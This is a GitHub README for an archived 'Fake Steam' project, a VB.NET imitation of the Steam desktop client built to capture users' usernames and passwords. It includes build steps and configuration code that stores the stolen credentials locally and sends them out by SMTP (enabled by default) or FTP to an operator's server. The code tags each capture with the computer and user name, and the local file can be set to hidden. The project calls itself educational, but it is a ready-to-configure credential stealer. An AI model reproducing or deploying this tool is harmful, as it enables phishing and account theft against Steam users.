Warning
This repository is archived in a read-only state and is no longer maintained.
This project is no longer updated or supported, but remains available for reference and educational use.
Caution
Strictly Educational & Harmless by Default.
This software is a proof-of-concept. It is entirely harmless in its default compiled state and poses no risk unless explicitly configured by a developer. It is published and shared solely for educational research and cybersecurity awareness.
This program is a simple fake of the Steam desktop client corresponding to version 2.70.82.9. The development of this application has been for educational purposes, with the aim of demonstrating how a deception of this type can be made to simulate the execution of a legitimate application and thus obtain personal data (the username and password of Steam).
On the outside, the user will only see an application that consists of 3 forms with a couple of buttons and a little more, but the truth is that I have invested enough effort to get a good "mimic" (or at least I think it is good). There is a big job behind in the source code, and with a lot of re-usable code that can be useful to develop related projects.
The core motivation for this project is strictly educational: to demonstrate how deceptive interfaces mimic legitimate applications to harvest credentials, serving as a practical case study for developers to analyze UI mimicry, data exfiltration via SMTP/FTP protocols, and defensive security awareness.
- Multi language support, supporting a total of 22 of the 26 languages of the original Steam client.
- The unsupported languages are Korean, Japanese, Traditional Chinese and Simplified Chinese.
- Self-detection of language. By default, the language of the steam client installed on the PC will be detected, if the client is not installed, it will try to use the language of the OS, if this also fails, English language will be used by default.
- Elaborated simulation of several features of the original Steam client, as well as the lighting effects of the original user-interface controls.
- Username/password storage in local file.
- Username/password submission by SMTP.
- Username/password submission by FTP.
In summary, I have tried to take care of all the possible details, although It is not perfect, of course.
FakeSteam.Demo.mp4
- Microsoft Windows OS.
- Download the latest source-code
.ziphere. - Extract the file and open the solution file (.sln) with Visual Studio.
- Modify the source code according to your requirements, then proceed to compile the project.
To configure the program you must compile the source code. Within the source code you will find a folder with name "Config" that contains all the configurable values of the program.
#Region " Steam Interface Configuration "
''' <summary>
''' The default steam interface language.
''' Use this for testing purposses
''' </summary>
Public Shared ReadOnly DefaultSteamLanguage As New CultureInfo("en-US")
''' <summary>
''' If set to <c>True</c>, overrides the default steam interface language instead of detect the proper language.
''' Use this for testing purposses
''' </summary>
Public Shared ReadOnly UseDefaultSteamLanguage As Boolean = False
#End RegionNote
The names of the available cultures are specified in the DetectLanguage method of the SteamHelper class.
#Region " Username and Password Configuration "
''' <summary>
''' The string format to write/upload/send the captured username/password.
''' </summary>
Public Shared ReadOnly UserPassTextFormat As String =
<a><![CDATA[
Username={0}
Password={1}
]]></a>.Value
#End Region #Region " Local Storage Configuration "
''' <summary>
''' If set to <c>True</c>, enables local storage of the username/password.
''' </summary>
Public Shared ReadOnly EnableLocalStorage As Boolean = True
''' <summary>
''' The local directory where to write the file.
''' If the directory doesn't exists, it will try to create it.
''' </summary>
Public Shared ReadOnly LocalDir As String =
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), " Fake Steam")
''' <summary>
''' The file name to store the data on the local directory.
''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
''' </summary>
Public Shared ReadOnly LocalFilenameFormat As String =
String.Format("FakeSteam_{0}_{1}_{2}.txt", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
''' <summary>
''' Sets the local directory attributes, such as system or hidden.
''' </summary>
Public Shared ReadOnly DirAttribs As FileAttributes = FileAttributes.Normal
''' <summary>
''' Sets the local file attributes, such as readonly or hidden.
''' </summary>
'''
Public Shared ReadOnly FileAttribs As FileAttributes = FileAttributes.Normal
''' <summary>
''' Sets the textfile encoding.
''' </summary>
Public Shared ReadOnly FileEncoding As Encoding = Encoding.Default ' ANSI Encoding.
#End Region #Region " SMTP Sending Configuration"
''' <summary>
''' If set to <c>True</c>, enables STMP sending of the username/password.
''' </summary>
Public Shared ReadOnly EnableSmtp As Boolean = True
''' <summary>
''' The SMTP server.
''' </summary>
Public Shared ReadOnly SmtpServer As New SmtpClient("smtp.gmail.com")
''' <summary>
''' The SMTP server port.
''' </summary>
Public Shared ReadOnly SmtpPort As Integer = 0
''' <summary>
''' The SMTP security.
''' </summary>
Public Shared ReadOnly SmtpSslEnabled As Boolean = True
''' <summary>
''' The mail account address.
''' </summary>
Public Shared ReadOnly MailAddress As New MailAddress("name@serv.com")
''' <summary>
''' The mail account username/password credentials.
''' </summary>
Public Shared ReadOnly MailCredentials As New NetworkCredential("username", "password")
''' <summary>
''' The mail subject.
''' By default is "Steam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}"
''' </summary>
Public Shared ReadOnly MailSubject As String =
String.Format("Steam_{0}_{1}_{2}", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
#End Region #Region " FTP Uploading Configuration "
''' <summary>
''' If set to <c>True</c>, enables FTP upload of the username/password.
''' </summary>
Public Shared ReadOnly EnableFtp As Boolean = False
''' <summary>
''' The FTP Server address.
''' </summary>
Public Shared ReadOnly FtpAddress As Uri = New Uri("ftp://127.0.0.1/")
''' <summary>
''' The FTP server port.
''' </summary>
Public Shared ReadOnly FtpPort As Integer = 21
''' <summary>
''' The FTP username/password credentials.
''' </summary>
Public Shared ReadOnly FtpCredentials As New NetworkCredential("username", "password")
''' <summary>
''' The FTP directory where to upload the file.
''' The directory path should exist.
''' </summary>
Public Shared ReadOnly FtpDir As String = "Fake Steam/"
''' <summary>
''' The file name to store the data on the FTP directory.
''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
''' </summary>
Public Shared ReadOnly FtpFilenameFormat As String = UserConfig.LocalFilenameFormat
''' <summary>
''' If set to <c>True</c>, uses Binary mode for the file transfer.
''' </summary>
Public Shared ReadOnly UseBinaryTransfer As Boolean = False
#End RegionImportant
You must compile the solution in Release mode, because in Release mode I suppress the exceptions handled, and apart, the Debug mode has a different behavior and additional controls are shown to test the illumination of the buttons:
That's all. Enjoy it.
Your contribution is highly appreciated!. If you have any ideas, suggestions, or encounter issues, feel free to open an issue by clicking here.
Your input helps make this Work better for everyone. Thank you for your support! 🚀
This work is distributed for educational purposes and without any profit motive. However, if you find value in my efforts and wish to support and motivate my ongoing work, you may consider contributing financially through the following options:
| Platform | How to Support |
|---|---|
 |
Become my sponsor on GitHub Contribute any amount you prefer and unlock rewards! |
 |
Support me on Ko-fi Buy me a coffee! |
 |
Become a Patron on Patreon Support my open-source work regularly! |
 |
Make a PayPal Donation Donate any amount you like via PayPal! |
 |
Purchase my software at Envato's CodeCanyon Discover my desktop tools and DevCase Class Library for .NET, an extensive API suite. |
This software and its associated repository are provided strictly on an "as is" basis, without warranties of any kind, whether express or implied. This includes, but is not limited to, any implied warranties of merchantability, reliability, or fitness for a particular purpose.
The authors and copyright holders assume no liability for any direct, indirect, incidental, or consequential damages—including data loss or system errors—arising from the use, misuse, or inability to use this software. You are solely responsible for determining the appropriateness of using this tool and assume all associated risks.
Furthermore, this project operates entirely independently. The utilization of any third-party libraries or components within this software does not imply any affiliation with, or endorsement or approval by, their respective original authors.
By using this software, you agree to indemnify and hold harmless the authors from any claims, damages, or liabilities arising from your use or misuse of it.
This project is licensed under the Apache License, Version 2.0. See the License file for details.